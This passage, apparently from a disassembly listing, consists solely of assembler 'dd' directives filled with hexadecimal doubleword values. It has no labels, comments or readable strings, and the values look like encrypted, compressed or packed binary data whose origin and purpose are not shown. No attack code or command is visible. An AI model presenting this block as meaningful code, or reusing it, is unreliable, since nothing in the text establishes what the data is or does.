1E40F77Fh, 494E9267h dd 0A58BF3E1h, 11CE90D5h, 10599D18h, 0FB5DEB42h, 58C30990h dd 0AF077B5Fh, 5972C87Eh, 0C0EF494Ch, 0D3F7E90Fh, 6C240046h dd 93E02715h, 29DB9C55h, 0BCB3DC7Ch, 0A0891D25h, 91EDAAFCh dd 66F0CB04h, 31C905Eh, 5B461C9Ah, 0CF1FE21h, 8BB32EEDh dd 68FD5D79h, 0D2E58101h dd 403CA454h, 91133187h, 89254D00h, 3578AE36h, 0FA3824BEh dd 0FD2E15B2h, 323C294Eh, 54871653h, 0AF4174AAh, 4B1D77ADh dd 927E7C87h, 9FFD9A26h, 15022360h, 5DA583B4h, 0ED580004h dd 0DBA4A96h, 0D1505E0Fh, 3BA36E03h, 9E10FE4Eh, 12FF5B08h dd 57CCD06Dh, 226084E9h, 6F38F6F3h, 89632694h, 59DFA1F7h dd 5D403BD5h, 0A60A94CBh, 13F3EC0Dh, 2BF1BDFh, 0A32EB784h dd 12203A60h, 3877C2E1h, 0F57868B0h, 39BF518Fh, 0FE7465FCh dd 256F52C9h, 38E16866h, 57132AE6h, 21E1DAF9h, 4A7A92D0h dd 802AA1E1h, 0BF78063h, 8B9719F6h, 4C2189BAh, 9CA29513h dd 45462954h, 1D9443F0h, 55685904h, 248BA3FBh, 0AFAD4566h dd 4C8C263Dh, 0C138312Eh, 62DB1E4Eh, 54B3D81h, 0EF01AB5Ah dd 1E0865AEh, 269C8789h, 55E20A1h, 0AC027C7Eh, 5C9B2D38h dd 0F8E1E184h, 94078FF2h, 13094911h, 1A915456h, 0A83BF176h dd 12DE8454h, 5DD908D2h, 0D45B3F16h, 0E66ED1B1h, 0C829C805h dd 445D4280h, 0EB8C07EBh, 377CABFDh, 0A7F7E321h, 65507073h dd 0ADC7F901h, 520977E9h, 0FCCD255Bh, 0B25D3052h, 0C7680918h dd 0C17C9B4Dh, 313B09E4h, 57FDF14h, 3905B3B8h, 8701BC1Bh dd 8548E1Ah, 0ABE0C60h, 60C963F3h, 0BD7E4127h, 4863FFFEh dd 3B4372D1h, 40C91B98h, 5309B86Ah, 7790A2E3h, 84311004h dd 0D13BE42Eh, 6C93FE9h, 6D3A987Eh, 0ECA34A5Ah, 8D363C09h dd 7700575Ch, 0E96F121Eh, 0D45E5340h, 45FD6805h, 2A7CC109h dd 9A3996h, 42DD0CA6h, 3D7DCF81h, 0D8E0F436h, 343A26E4h dd 97217895h, 0F0ED7070h, 0F8611BE9h, 97C3803Eh, 0D387FC6Fh dd 0E8430BDh, 0FFB81378h, 0A5CB4626h, 5BCB05D5h, 4B1A9DB0h dd 16D4E9DBh, 88FFCA97h, 49B77FBCh, 0B141545Fh, 892A9136h dd 3D3430F8h, 104FBFEAh, 0A2409BEDh, 5D909856h, 0EB97FE28h dd 0D2F12B52h, 0A8CFC53Bh, 5D08D265h, 0E208863Ah, 93277066h dd 920D5941h, 0C1ECF095h, 35EF31E9h, 68ACE090h, 9BA3914Bh dd 9C92503Fh, 0B6EE527Eh, 0CBF92659h, 0C744C0A7h, 71E66228h dd 5FDA51CFh, 0FE2FEB27h, 1014516Dh, 80FED921h, 3D182DC1h dd 920C286Ch, 7672F78h, 0CC270140h, 63836D3Bh, 0D908E1B4h dd 97BDD245h, 12C907BFh, 0BDBBF04Ah, 0B7FEBFh, 3E7FB02Dh dd 0E8282979h, 50BD0705h, 5771BDDAh, 0C182CDCFh, 5A76506Dh dd 4C8E2F84h, 6AA884B0h, 0CEDD3104h, 1F61228h, 40F775F4h dd 1F1EBE4Ah, 5DA79080h, 0C9EB8684h, 0D1A26AF9h, 0E188BBA4h dd 35EB0468h, 0C45F1741h, 7CA2AA4Ah, 685AD180h, 0EE863DE9h dd 436C6329h, 57107BD2h, 47258ECFh, 0C30F3372h, 3F62E85Ah dd 0A4E48DCBh, 36444416h, 57EB402Dh, 25413A15h, 875AE3D1h dd 0F6987E3Dh, 0DF86E909h, 4B92FCFEh, 51D760FDh, 0E3DCBFB9h dd 0F7591C32h, 27E3C6F9h, 0CB81346Fh, 8B4FA5Eh, 0CD0D62E7h dd 7054225Eh, 692FE950h, 5603190Fh, 3104ADE1h, 4DF61784h dd 0EAF919C3h, 0BBAF5E9Dh, 0D056B40Ch, 77401F7Ah, 0FD8AA066h dd 0C5CDFF99h, 70F52B80h, 68394F2Fh, 46721227h, 0F95659EDh dd 942A05Ah, 9287E2Ch, 0D85108h, 685366ACh, 19972231h dd 0B42E4B6Bh, 0CA09808Ch, 0C391E99Ah, 63F1C1FBh, 162B7AE1h dd 0E1DBA919h, 307CF8E9h, 2296BA00h, 0D58946FAh, 83B2ACF8h dd 15EE51F0h, 0D52F429Ch, 0E90BA215h, 0B139CB05h, 0B5D7BF7Bh dd 5BD3DEEFh, 2CBD01FBh, 0F7E8284Ah, 5E3F5A7h, 0B98A39DFh dd 7368B0AAh, 8649CA38h, 0F96BA7C5h, 840AF1C9h, 0E58681Ch dd 5CA5CFBBh, 55512789h, 0CCEA92B4h, 5A0DDA5Dh, 0BE5BA3E8h dd 75061F12h, 0FA7B432Bh, 638A1ECEh, 12DEA8E8h, 0A0F829C4h dd 4E41C686h, 2C18B06Ah, 122CE1Dh, 8A17DBCh, 0BAF87F5Dh dd 6E551BB1h, 878A291h, 8CBA0D80h, 0D1660D7Dh, 0C0AD895h dd 4B19791Bh, 3D3FF1Ch, 33227EB8h, 50A3F6BFh, 0C63247BEh dd 0F23DE8BAh, 31D97737h, 0C14522ADh, 0DF183858h, 0DFD5428Fh dd 787BDEE5h, 1284B850h, 0B7B12DE9h, 0C32816AAh, 80641B01h dd 0E3C11DEBh, 0E951D7D7h, 0E23FD7A7h, 87B08569h, 5A6A0Bh dd 6E7858FAh, 4F68FC3Dh, 0A167FAD8h, 0D8BB59A5h, 0C4BB36Eh dd 30B1C9FAh, 9003F14h, 0E5815862h, 9FC79E0h, 0B5E94565h dd 32B50350h, 0C581A8CDh, 5C186F0Dh, 0BE04B07Bh, 2563D559h dd 0B03CD4EFh, 6354850Ch, 0CBF6444Bh, 756BE90Bh, 0CEC4B82Eh dd 0F3E190CCh, 0DC58887Fh, 0B0FEB317h, 90E8B252h, 800291FEh dd 0D42876F2h, 0EC78D05Ah, 0CF12F428h, 0B92A1641h, 7521582h dd 0D85A8B85h, 17BA7F28h, 1344616Fh, 0C0B71C05h, 94066EF9h dd 9D4F1DE9h, 41821DA4h, 50006E3Bh, 0C58008E5h, 9A63BD1Dh dd 0E949CBB0h, 0E759C868h, 2D4ABDBEh, 2BDBC24Ch, 0C15D53A1h dd 7EAE6EE9h, 2779D0B3h, 58C84273h, 0F7828076h, 0F967550h dd 63F61F0Bh, 0FC08B2E3h, 167425B0h, 96CF31C3h, 3B681609h dd 8791E30Ch, 4C7D80E9h, 2E50820h, 67B621E7h, 3940DDF7h dd 492DDE1Fh, 7051C298h, 6AB09F0Ah, 0F1881F8Bh, 5D451211h dd 3B24EF0Bh, 8F003595h, 27E64978h, 62E00225h, 0BCE907ECh dd 0F92DFBDCh, 0E1F740CBh, 695EA468h, 0A060EB8Dh, 0E9D44181h dd 0C0983BE5h, 0B3594ACDh, 0B7EAD3A0h, 0E1445AEEh, 0D31E0338h dd 909DFAC8h, 75C5042Ah, 0C45F0E93h, 0D695B98Eh, 5BF8ADC2h dd 54E7A7B5h, 772691ACh, 7D7CADh, 8D3FA005h, 0D9023562h dd 0E94B9545h, 96615828h, 0BF007A65h, 379B1807h, 5BD80907h dd 4E60F80Dh, 0BE0C112h, 176C6808h, 3BE9A9E6h, 7CB2F807h dd 4C219E73h, 909C04Bh, 0A9D53E6Eh, 5024810Eh, 0C96481Ch dd 0E60F3001h, 7D15D2B8h, 0EB4CA29h, 53480FD3h, 840AAA9h dd 125F975Ah, 58FE8B83h, 0E6F19D02h, 555F8DC2h, 348B3171h dd 0A1836EAEh, 0ABF910BEh, 0C263402Fh, 10E44F5h, 203C249Dh dd 2941D081h, 6814F638h, 4000B7DAh, 0B65CF725h, 4F00352Ch dd 56F221Ah, 4B1E5486h, 0F8E31255h, 0F32113F5h, 0EC7264EBh dd 0F402B7A8h, 5A9F76FEh, 1D2C7860h, 0DC39452Dh, 7E170094h dd 0E953343Bh, 1607EF27h, 0CB5550A9h, 6A7C9541h, 394A6841h dd 531A33Bh, 175D44CCh, 2E1EDD90h, 41322D1Fh, 0FBD08DEh dd 61ABA2A0h, 4859C889h, 0F6F21F1h, 0E7EC47D7h, 43DF726h dd 1591D080h, 4176C59Ah, 81DFF5EAh, 489ADA09h, 2E61EC68h dd 17D4C90h, 58844835h, 0D568D929h, 63346A70h, 0B2EB0F25h dd 0A05FCA84h, 5D066489h, 73B0EE98h, 98957597h, 99617D0Dh dd 763A4834h, 90E12E7Ah, 7C13A0h, 0F56C9942h, 0CD7A092Ch dd 0DFFD912Fh, 6FFCA629h, 4685FA12h, 8874ED04h, 756B61BBh dd 96540C0Eh, 52E4489h, 0F112F028h, 98182DD1h, 0DFC29581h dd 428703FAh, 5F0502F5h, 542A201h, 24800BC5h, 2A4C53A4h dd 0E7CB17E9h, 123AD7BFh, 900D785Dh, 4A549D5Bh, 5BA0011Fh dd 858CB85Dh, 8FC961A2h, 4C29D648h, 283159D6h, 0E8D5EF97h dd 1926C4Dh, 800506CFh, 9FCF06C7h, 4BF0B746h, 56315A2Fh dd 1F415A4Eh, 468630Eh, 7F6D6857h, 0E9C231A3h, 0D174E8E0h dd 0A2BF8F64h, 18E248AFh, 0BE225D25h, 4C6B0963h, 5AF74E29h dd 5B5A7877h, 0B7EB49FEh, 0D97DA8E2h, 5471EB2Fh, 34C96805h dd 9A848FEDh, 0CB810038h, 1F746242h, 0E5E3C11Fh, 0F80BCEDAh dd 9C96F4Bh, 7FCF42FAh, 63C981CBh, 0DD0F6420h, 0EE2C5B4Ah dd 48FBE893h, 793FFD72h dd 0EB7BE292h, 427D3A0h, 0E9707F40h, 4A73D25Eh, 0D7AC6BF7h dd 0A4ABD564h, 681D66F5h, 0CD305D67h, 0D6D10CE9h, 49CEFA8Eh dd 23E98C61h, 0E22A64E5h, 17F065Ch, 4684F281h, 88284FB2h dd 0D3276812h, 33994BD2h, 5C72AA3h, 0F523EBE2h, 0E00B12E5h dd 78BBF513h, 78F6E5D9h, 9369C4B9h, 165FD5CAh, 641CEF09h dd 93342828h, 61EE3AD2h, 0A7D64B4Fh, 98A5016h, 7BAE44F2h dd 2A8B46DFh, 0C7CB56E9h, 0A2545511h, 3DB23B8Fh, 2AC27680h dd 176240Fh, 8888B90h, 5BD85AD7h, 89042EF6h, 13BB2EEDh dd 4C641F10h, 0E695DDE3h, 0B779F00Ah, 0C02EE15h, 0C2102708h dd 77631238h, 820634Ch, 30E4B056h, 0C56509ABh, 0EC74B269h dd 713E295Ch, 0FC13C1F4h, 0CFF745Eh, 0BB74D06Ch, 18268305h dd 0D4004B45h, 8B3C74EBh, 0F70CC235h, 4055FC68h, 2E967726h dd 401B688h, 0BED6D5E9h, 76DA0149h, 42E787E9h, 6025C75Ch dd 0DF0801CFh, 0BB533B00h, 1F72265Fh, 2158C343h, 0EFF5731Ah dd 78448C4h, 8B929FE2h, 0E82924D5h, 4BCFB743h, 4A90FDC0h dd 0FEDEC5FFh, 0A290E92Dh, 94680E59h, 35290Eh, 3911F66Dh dd 89671398h, 0FFCE0BF7h, 825907C2h, 0C0EDA7BDh, 16C4BF23h dd 0E9757B74h, 0F558C93Ch, 36BEED90h, 81422700h, 0CD02EACAh dd 9909051h, 55F16EE9h, 9F03E7D8h, 0F7155642h, 2362EDBh dd 17D224A3h, 81F75EA1h, 3E0F59A5h, 19E5E451h, 910E217h dd 15C28645h, 5FC97C1h, 21AC8h, 0D4BE567Ah, 2942A649h dd 4C5EF02Eh, 280A0514h, 259A152Dh, 23155D95h, 0E966CDA1h dd 5BA4CB26h, 0C4091879h, 0FD298702h, 0B1163128h, 82E87A3Ah dd 943DEA7Dh, 72256FAEh, 517D8C3Ch, 0F68AB109h, 1CD876D9h dd 0F0CBA0E4h, 0F9627DC7h, 0A985AC89h, 2F5EC928h, 185E494h dd 98BF3AFh, 0F2EEE9F5h, 4DC5005Ch, 5EA1203h, 9527591Ch dd 81485878h, 10A55D07h, 0D72FB660h, 0E558C1FEh, 63F51F5Eh dd 4507C507h, 306EDA3h, 1BDCE850h, 0C2AC011Ch, 517F5C61h dd 3BA73C74h, 39BDD180h, 2D6E8A06h, 40FCB350h, 745DE104h dd 86A2875Bh, 0E6483DC9h, 0BD111359h, 85C4D9E8h, 0DD290741h dd 0FEF2E7F1h, 2877797Eh, 0DF4C644Fh, 9B374EF1h, 1DAD583Eh dd 3A82C28Fh, 0FFEC4968h, 8A9E5CBDh, 3ACDA01h, 7D53D85h dd 4D47ADB5h, 5FF6023Bh, 7D28B341h, 0C9555801h, 0E60C8F36h dd 29CE02D3h, 9FF4C5F2h, 2DC2165Bh, 85E92E71h, 10F35E74h dd 5510A7C3h, 0EEC1032Dh, 0C5526805h, 0A9515822h, 0B08F4B7h dd 1CD50710h, 47B1076Ch, 3246F180h, 6155E2EBh, 176F3973h dd 6DBC61B9h, 0DAA07CDAh, 25805F19h, 38FA1772h, 3BA9DEA0h dd 87481D06h, 90064FF9h, 0CBAB09B8h, 64DDADFAh, 0BA53D5Fh dd 88B260Bh, 0F008DDD3h, 2D4EA64Ah, 0DBD989FDh, 15E90F35h dd 3FC127D9h, 101818ADh, 55F61712h, 0B51F1C7Ch, 6B49F731h dd 3296771Ah, 0D08295ACh, 2D46E7D7h, 57553AF5h, 0E943887Ch dd 2CBBA58Bh, 0BF0B575Bh, 875529EBh, 0DF24D73Fh, 0F32B8FAh dd 0D22A94F2h, 59E963F0h, 4097B77Ch, 2D13C549h, 0FF95292Eh dd 0C0BD99Ah, 96F70910h, 2B55180h, 8DC580E3h, 6771EE30h dd 0FA3ED09Eh, 172CB714h, 3521308Ah, 25127B68h, 72804B43h dd 1B9967B2h, 0DDCB893Ch, 0FE0E12C9h, 0C7EB0D40h, 0BA8DC897h dd 2384B5CFh, 8FD110E3h, 5D974955h, 0BFC4AB9Ah, 0F0C5405Fh dd 52991FBBh, 0AF72572Bh, 0C67750Bh, 95EB86FDh, 0E3080957h dd 0C3D8969h, 8325E03Bh, 0CB7E74Eh, 572EA958h, 0E368504Eh dd 880D364Dh, 59CF4202h, 0C9B7D1F5h, 0B982E912h, 71F7D943h dd 0E9CC692Dh, 8C0A72Ch, 0D40289ACh, 0FD798212h, 2708CAA8h dd 7200047Eh, 0E96A056Dh, 202841E6h, 2516F6B8h, 0C6AD416Eh dd 0E5126500h, 36E94D23h, 0BE681960h, 7ADD43F8h, 972F7A3Eh dd 54E9CED1h, 0E65DFAA2h, 0CF8825DEh, 1B62595Ch, 28CE8EAh dd 2C260B5Bh, 0B8DD5C29h, 0B4BAE93Bh, 0C6163C99h, 89C9AC01h dd 0C01AF559h, 0DC4A7C74h, 80070710h, 9259A0EFh, 0A87FF2FCh dd 55278D97h, 8A29D007h, 2F8108Fh, 0B05FCA25h, 0DA07D51Bh dd 60FF1948h, 5EF5E909h, 752D9682h, 4F68020Ah, 0D193CD54h dd 0E26F7CE1h, 7084A2F5h, 0D8882543h, 0CBEA93F0h, 0E38C8BEFh dd 0AC98DF91h, 0AD803F22h, 42680657h, 6E21581Dh, 0A660D641h dd 2759B136h, 0FAC3AFC1h, 6C62665Fh, 53886EBBh, 5167490h dd 90EB673Ah, 0F6571CA3h, 54296E13h, 0C130064h, 5A24858Ah dd 214A0225h, 1D4031EDh, 0D69F413Bh, 3433C205h, 7C69C107h dd 958F6948h, 0F681DF88h, 0FA27507Bh, 0FEF289F0h, 25B9F59h dd 0E632EA24h, 0FB6800EFh, 52578043h, 0DAF7174Ch, 6B85FA01h dd 0F3F8117Bh, 0A1B0419h, 0E107E96Dh, 0F0B83F17h, 0D1F9EBB4h dd 0ED1AA716h, 0FAB624A6h, 0B58DAF17h, 0FEF8F2F0h, 303D13C2h dd 0EB9022D0h, 5B5A0470h, 0D321ED29h, 40D6A56Bh, 0AC6D3798h dd 0FB296905h, 805B850h, 54E10BE9h, 3D513FE8h, 9E121BECh dd 81E04CBEh, 0C12BD6Ch, 0AE840B84h, 565D0702h, 0C2535751h dd 2F1BD508h, 0B8012952h, 89B392C3h, 486059CEh, 69125E9h dd 673D8148h, 7C32D52Dh, 72A120F0h, 406E24D3h, 0DFA02795h dd 9D1F27EEh, 7D203890h, 29B5A0C8h, 0BFE3B11Ch, 210B5F73h dd 8934ACF2h, 32160D26h, 0A559DD09h, 13910408h, 0B4B6F001h dd 5D4E4116h, 6F036801h, 0BA1507EDh, 214A45E6h, 0C95D5Ah dd 14D5CE81h, 9562EB45h, 0A708AA04h, 47CC807Dh, 42170759h dd 34AB89E9h, 6082AFE8h, 0AC05008Dh, 0C2FB612h, 97047D2Dh dd 9F61FA5Fh, 7F116BE5h, 0B7F6031Ah, 5E0F5272h, 3BCC82E8h dd 0F9740E37h, 76314A07h, 9DF2F7C6h, 29729955h, 1828D165h dd 868978ADh, 7B85263Bh, 76695C3h, 82540620h, 0B4855EDh dd 0BA046852h, 5A21EC78h, 334D41A8h, 0A7893ACAh, 2D2CD4D6h dd 0C2C9253Dh, 8F767706h, 394FC5EFh, 653088h, 8157130Fh dd 48760DE5h, 59A0C4Ch, 0F749F359h, 836525FAh, 9F2FCD0Fh dd 0F925DFC5h, 5F0FBEDh, 0AD5F5E5Eh, 42B3C8F7h, 968BC86Ah dd 7C5AA9DCh, 972688FAh, 127AA06Ch, 0AE69B11Fh, 0C4ACC594h dd 0FEDBCFB0h, 0DC938F82h, 0F55A8DC1h, 31305117h, 7D4E1779h dd 0DE220319h, 0E9A88573h, 9EBD8DC2h, 3D3B09EBh, 61798807h dd 159CE9C1h, 3B16172Dh, 8916B263h, 5A027CF7h, 6FA29161h dd 0F3CD3731h, 723EF805h, 6FD86E14h, 8AE68E6h, 3723E905h dd 134D2EEAh, 0F04109E9h, 0CB674FBDh, 0CEF5FA80h, 0E968CC7Bh dd 50832AE7h, 7A10B151h, 5BB92C81h, 6EEC9F14h, 1B56241Fh dd 6C202CBAh, 318F3A12h, 7F027202h, 700AD7DDh, 60082097h dd 41D91E5Ah, 0E9243365h, 0B1A79496h, 0BEF4569Ch, 2E14B278h dd 0C0CB7E40h, 0DEFC5360h, 70083790h, 7313518h, 836972E6h dd 1C41CD29h, 141CA008h, 0EFDAE924h, 464E2D81h, 20E89164h dd 0DA29D62h, 185176ACh, 800BB501h, 1C88AAF5h, 661864B6h dd 98472AF0h, 25C27D57h, 3F482FB0h, 679F6BA8h, 124A245Ah dd 8F638261h, 57D28EFEh, 2830FD6Dh, 0A1B715B1h, 0D968CED1h dd 0E75D5C27h, 0CD7DA50Ah, 0A6E98A68h, 8EE0B1F9h, 8B723BF6h dd 0C69610D2h, 5EFDC482h, 5E3A0B60h, 0FA77E6FFh, 2F52B5BDh dd 347EC2EDh, 78FB5816h, 0A334E997h, 921A2AB3h, 0AD38A46Bh dd 66258DACh, 50BB2657h, 7ABBF423h, 0ED4BFC4Ah, 0CDB91F7Bh dd 6F1EE7C7h, 8EDD46F7h dd 0E4E6BDCAh, 58050C33h, 4A35A51Ch, 9EB9C180h, 16B8047Dh dd 89FC41E9h, 2999D111h, 0C0E202DEh, 407F4947h, 37C7009h dd 0D2F72542h, 0E8B47268h, 0ED97DFB0h, 0EC5099EFh, 0BA431C5h dd 0EABDA6C0h, 0BF71A45Ah, 8B390AFCh, 5D8D22D3h, 0C1DF2909h dd 0BBDB01F6h, 9DBAADFDh, 147B3866h, 0B7E84893h, 0C5AE8858h dd 0E85AEB2Dh, 0EC0F9530h, 0FD760DF2h, 3F6E8213h, 0C13AE9A5h dd 11A50AC2h, 4C1123F0h, 58158197h, 5B13E54Eh, 9204BC3Fh dd 0A1304AB1h, 193900A1h, 13E7811Dh, 0E4B3C7Bh, 0F45E4AACh dd 7F1E73D0h, 7EC95DC1h, 2DB727F1h, 0BB921EA4h, 3B0F6033h dd 8131B6FEh, 31F367C1h, 47FBF0FDh, 832C62BAh, 0F88398C3h dd 5D3F299h, 0A752705Eh, 132EEC65h, 0DDBFCB2Ah, 95AD41F8h dd 0AD1A89D3h, 5840F72Dh, 3461DD68h, 0FEF6B2F3h, 9D58AD4Ch dd 0A68A6FDCh, 0A00367C0h, 0D90DBE21h, 0FB04DFEDh, 8485E401h dd 67709335h, 1508042Fh, 0BAF0893Eh, 652C6FA8h, 17D19741h dd 4DC0AE27h, 91378C68h, 3C7ACEEh, 4FCD155Ah, 66EE6E05h dd 0DB024112h, 0DFE708ECh, 860C1F52h, 0C726031h, 1345129Ch dd 40B4BB78h, 6A7D0547h, 0BECA0991h, 2BF4ED8h, 54B81C25h dd 0C35DD7F7h, 48B4F0EFh, 0ED094F8Ch, 0AB267DC0h, 5D279BFDh dd 6AA61C45h, 0F16CC427h, 0D2485F9h, 425D60EEh, 32C634C1h dd 827F529Dh, 0AA515708h, 5540FA13h, 3D4678BBh, 4B8DF64Dh dd 9DE325h, 0DDC38006h, 39885266h, 0D39C53DAh, 5178AFF6h dd 97700820h, 92ABE1A2h, 0D0DA2902h, 0D765209Bh, 58E2881Ch dd 0E68714C9h, 14DE9FEBh, 0FD5AAEA4h, 0E909A667h, 0B8C52336h dd 6021B0B5h, 5FB0E35h, 682125A1h, 3B1E2869h, 3BAF185h dd 57710AF2h, 8ED1508Fh, 0D90A8A4h, 50C59FB6h, 99BF6EBh dd 7505E955h, 0CB5E1D04h, 0EEF37F80h, 7DFBEE75h, 0B2485968h dd 0C613B681h, 320E2011h, 2C863004h, 19F891E9h, 475B309h dd 0F88B802h, 0D84E19D7h, 0B763DBF4h, 77A88A74h, 0D0C3B209h dd 584B0B34h, 0B657982Fh, 67BD5EA8h, 11D6A5DEh, 3F31C5C4h dd 281D359Fh, 0B8317460h, 2597FED1h, 0B465FC2Bh, 7980B9EEh dd 950E9200h, 0A5E9D001h, 956E9AC4h, 5B3684F7h, 8BDDC2EEh dd 2F70C061h, 0AED3DC0Dh, 65020020h, 0C248E4C3h, 80010A63h dd 4A21A1E7h, 9F3240CAh, 8345816Bh, 6D9155BAh, 0A5EBE102h dd 0DC0E8C2Ah, 0F64CC262h, 108443D5h, 4A44F024h, 854C41BFh dd 3957AB6Eh, 7459050Eh, 81AF8EEEh, 2AE6301Bh, 137AE3DDh dd 896688FCh, 0BF0943B2h, 0F4664342h, 47D008Bh, 83E977AEh dd 44AE4A4Bh, 54080h, 3B2021BAh, 97897C98h, 0E94EB596h dd 9B5845FAh, 6250BF56h, 45083093h, 0BCF2AD7h, 3EAC176h dd 1313C05Fh, 4B6A253Ch, 6BCAA1FDh, 0C924421h, 0CE5AFBEBh dd 0DA445F0Ch, 0E6B42FF9h, 0A80D4BE9h, 0A4A1585Ah, 3101BF05h dd 7B4BA6BEh, 2CA4955h, 0C06A0688h, 0CEC1517Fh, 5A22804Bh dd 0CB858F64h, 0E8D55707h, 5F0304BFh, 0C7AF760Fh, 59FAD115h dd 0A6E13E69h, 0B1FAF82Eh, 21F56858h, 0A6F9F5C2h, 83EFE9C1h dd 56A774BCh, 5881ABDDh, 222D07B8h, 5174627Eh, 0C9B08C4Eh dd 877EF250h, 2FB6E984h, 964156FDh, 4A3AA83Fh, 0C50C16A0h dd 84C80987h, 2562C09Fh, 0D214398Ch, 24372D17h, 0CD0B0D51h dd 0B9070031h, 4F5FD508h, 3A52B9C5h, 0D52426C8h, 617984ADh dd 0A09756FBh, 701DC6D4h, 0EF81235Dh, 3501E327h, 29C1F040h dd 0AF734B67h, 16083710h, 81BB015Fh, 6B88A069h, 81DE9CD3h dd 0F5FD720Dh, 7D6AF71h, 387D095Ch, 0C00D388Fh, 3ECB81DFh dd 7776DC1Eh, 8096F350h, 5D87683Eh, 0B69160Ah, 0F92EDD89h dd 0DD8B271Fh, 646230B9h, 0D9BD33F5h, 0C2946274h, 952C9455h dd 5C14B959h, 8B2D9CECh, 45BF803h, 17621E44h, 0D3D98052h dd 653EC056h, 0E110DBE9h, 0DE3E2E84h, 0BE4F8A5h, 0A265D2Ah dd 8088DCAh, 0B09309EDh, 220933D2h, 5F4FE174h, 80D5C62h dd 1AEB2E1Ch, 0D0520C29h, 437B24C1h, 8D422990h, 0E0C10058h dd 74904004h, 0B77FA57Dh, 2F0C7390h, 0C36C826h, 0C1022E18h dd 8E20231h, 8B5787E9h, 0F52E2935h, 82A0066Dh, 491ECA09h dd 0A3040065h, 2D466C57h, 0CE8553E9h, 0BB768531h, 4111DBF0h dd 19C83AEEh, 17F490AAh, 12DFF723h, 0E9A8F05Bh, 6675682Fh dd 63CC20AFh, 2BA709Fh, 3F392678h, 0E802C829h, 680A8C05h dd 7ED96916h, 0E100BBDBh, 461008B8h, 3D30EDD1h, 8B84BD44h dd 31F8AB56h, 7C1FEE5Ah, 1CCA588Dh, 0C31DF77Ah, 0D79CE9h dd 7DF00D2Ah, 71353865h, 2C06507Ch, 7967D225h, 7E2B27D4h dd 19A076E4h, 0F01925F2h, 0BE604739h, 0A2183C30h, 5980C086h dd 9AFE5BDCh, 723322C6h, 6BEEB488h, 0D6209ED2h, 7A804810h dd 0EA8AF916h, 0E47D2B31h, 2D72907Ah, 700B0582h, 0E42C8B29h dd 324521BEh, 0F40B6A4Ah, 15CAAD4h, 0AC2E9201h, 813B294Ah dd 0FE13DD62h, 6850CCF1h, 8C324EE2h, 530244FFh, 0D7E96739h dd 40A4D4D4h, 0B422E80h, 0BF133E98h, 0C21C743Fh, 0DD802E28h dd 880B7CAAh, 0A4EAE916h, 65AE0168h, 0D3B0BCAEh, 518557C0h dd 0FFFE4AEEh, 0C80B3075h, 0E76A683Eh, 5F4414A9h, 7700D47Ch dd 0E92E470Ah, 0EACD11B4h, 0E482FA21h, 42D95927h, 813F2F7Fh dd 0F712B87Fh, 4E05128Eh, 3C146C39h, 6041C01Ah, 3A812C1Fh dd 0A3A43AE2h, 40C200EFh, 0E9E1CDF2h, 0F261152Ah, 0A520629Ah dd 685D1EBEh, 9186596h, 0BD602155h, 0FABFE990h, 27077570h dd 0CECCD739h, 0FC05CD27h, 60805858h, 0D302F582h, 5A097CA9h dd 30A70888h, 4300252Dh, 0E9D30D87h, 9375F705h, 4952FEC6h dd 71D05A57h, 0CF645069h, 0DBCB9F3Dh, 70C27B0h, 0A7EC034Fh dd 0A4EDC11Dh, 7115048Ch, 0F7FCC0DBh, 0FC2C116Fh, 777AC638h dd 37E888C0h, 66E9C00Ch, 0BC15DE5h, 347B100Dh, 84E62D5h dd 72EB2208h, 697B9769h, 84C11B6Ah, 0A23F080Ah, 0ACE90BF1h dd 0F0244422h, 327E5F3Fh, 58F70960h, 113B0BB5h, 5C85B04Eh dd 0BBE116E8h, 43F534D9h, 0D03A77FAh, 3E1223C0h, 3FBAB15Ch dd 0F87B05CEh, 9A824E46h, 2FE27A61h, 18A4C912h, 0BDE9C0E4h dd 0D095F129h, 28690427h, 0BEF73B26h, 2095060Fh, 0AE353AD5h dd 2CDC026Ah, 0D9E9C201h, 0AC79CB50h, 9226EA78h, 7549A8CEh dd 0CE4BBBC3h, 58C70AAEh, 0D183EDBh, 0E5F092B6h, 0BE05AC9Ah dd 494471A7h, 394CAEF8h, 0EC13A334h, 0F9852CA7h, 0F504838Bh dd 5509864Ch, 0E43EBCE9h, 76825BBh, 8AC2AFFEh, 84DE7953h dd 0FDFEF059h, 95FB9371h, 0D56DEA0Ch, 0B419F21Ch, 0C58431D9h dd 0B31334BFh, 29603B41h, 8E37F5F4h, 98D5282Fh, 1DB450E6h dd 81E4C07Eh, 0E97AB353h, 28E67A55h, 0D9E2F114h, 9B7FA681h dd 25C032B2h, 0B7F6780Bh, 0F725B36Dh, 0C1E95821h, 0B7252A08h dd 96F112EEh, 5CF2DAAEh, 583E6754h, 0FD252A9Ch, 0BD2ED495h dd 0EC56DC96h, 40452EB0h, 96FA5F9Dh, 290CDB64h, 427881AFh dd 0F3FC3F0Eh, 833258B2h, 310CC5Bh, 435AC579h, 82D96266h dd 422E04h, 552D61FAh, 5A5B1D50h, 550F0781h, 0B54A5430h dd 36D15E63h, 9532202Ah, 65B05300h, 78685755h, 439B1F03h dd 0EAAA97E9h, 832DF8C9h, 105FFE4Eh, 3834F812h, 0C3DAF2AFh dd 824CED80h, 30F6E1E8h, 1000A62Eh, 934FC8E5h, 0E42F5EBAh dd 68C60193h, 0A33E395Bh, 2B4B0B34h, 218DC0D4h, 2F85023Ch dd 0FED37CE9h, 32064489h dd 45BA10BBh, 9A21C468h, 71AE003h, 230C0443h, 0F1F68FD2h dd 1C46ED8h, 3D0CB108h, 4F6FF8CAh, 0C94A76ADh, 3CFB2E1Fh dd 0F94AF647h, 0C8488BFh, 38BF6E4Bh, 0A7D75954h, 621CF5A4h dd 73BAF775h, 0DB28B25Fh, 5BBCA9Fh, 1453474h, 2C61ABF5h dd 7F72ED58h, 0D7AAB317h, 859FA2A2h, 56793977h, 8F8AA1F1h dd 0A468875Dh, 1934BEh, 0AA1D433Bh, 42504A63h, 385FB3D6h dd 5BD95CCBh, 3AEB2A5Ch, 0BB543530h, 0FB4B95EBh, 68C4D0E7h dd 0C36EE65h, 5EFD31DEh, 0DC934BA6h, 0FE4EC2E6h, 2AB4DDBFh dd 0A8D6BCB2h, 0B868820Fh, 0B52CA016h, 0AEA809Bh, 2E2CE9F6h dd 0AE5FBCABh, 1B012413h, 35D12159h, 22057F68h, 0BA4F7FACh dd 7F647212h, 932FA8AFh, 5227A1B8h, 0E916BE6Ch, 4B8CD8FBh dd 74597901h, 73D6BD63h, 10250C68h, 8ACA88CEh, 0A6FC517Dh dd 6F27372Bh, 0F33D4686h, 0BE8BD89Ch, 2D767301h, 